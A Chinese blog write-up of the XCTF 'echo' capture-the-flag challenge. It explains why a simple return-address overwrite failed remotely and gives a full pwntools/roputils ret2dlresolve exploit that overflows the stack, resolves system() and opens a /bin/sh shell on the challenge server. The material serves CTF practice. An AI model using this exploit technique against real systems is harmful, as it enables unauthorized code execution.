xctf攻防世界_echo——爬坑之路(ret2dlresolve)

    很容易看到是栈溢出漏洞,而且给出了一个sample()的函数来读取flag,直接覆盖返回地址,在本地调试很快就弄完了。但是没想到,跟服务器连接后,死活出不来。没办法,想到上一篇文章一样的坑,看来只能拿Shell才行了。

xctf攻防世界_echo——爬坑之路(ret2dlresolve)_第1张图片

xctf攻防世界_echo——爬坑之路(ret2dlresolve)_第2张图片

查找了很多资料,一开始想着用write()函数泄漏,结果没这个函数。还动过使用fprintf函数的想法,但是远程太坑了。留几个学习到的点:

1、 gbd中可以使用 print __libc_start_main验证地址,一般跟字符串漏洞相结合。字符串爆出栈内某个地址,可以动态的计算地址。当然也可以去libc database里面找具体哪一个glibc

2、安装https://github.com/inaz2/roputils,这个直接编译,编译完了以后链接到程序目录下面。

3、ELF在执行时,许多函数的地址是lazy binding的,即在第一次调用时才会解析其地址并填充至.got.plt

import sys
import roputils
import pwn
from pwn import *

#pwn.context.log_level = 'debug'

p = remote("111.198.29.45",35045)

rop = roputils.ROP('./echo')
addr_bss = rop.section('.bss')
 
offset = 0x3e
buf = rop.retfill(offset)
buf += rop.call('gets',addr_bss)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
 
p.sendline(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)
p.recvuntil("\n")
p.sendline(buf)
p.interactive()

 

xctf攻防世界_echo——爬坑之路(ret2dlresolve)_第3张图片这里的roputils.py是个链接,链接到其它安装位置。

你可能感兴趣的:(PWN)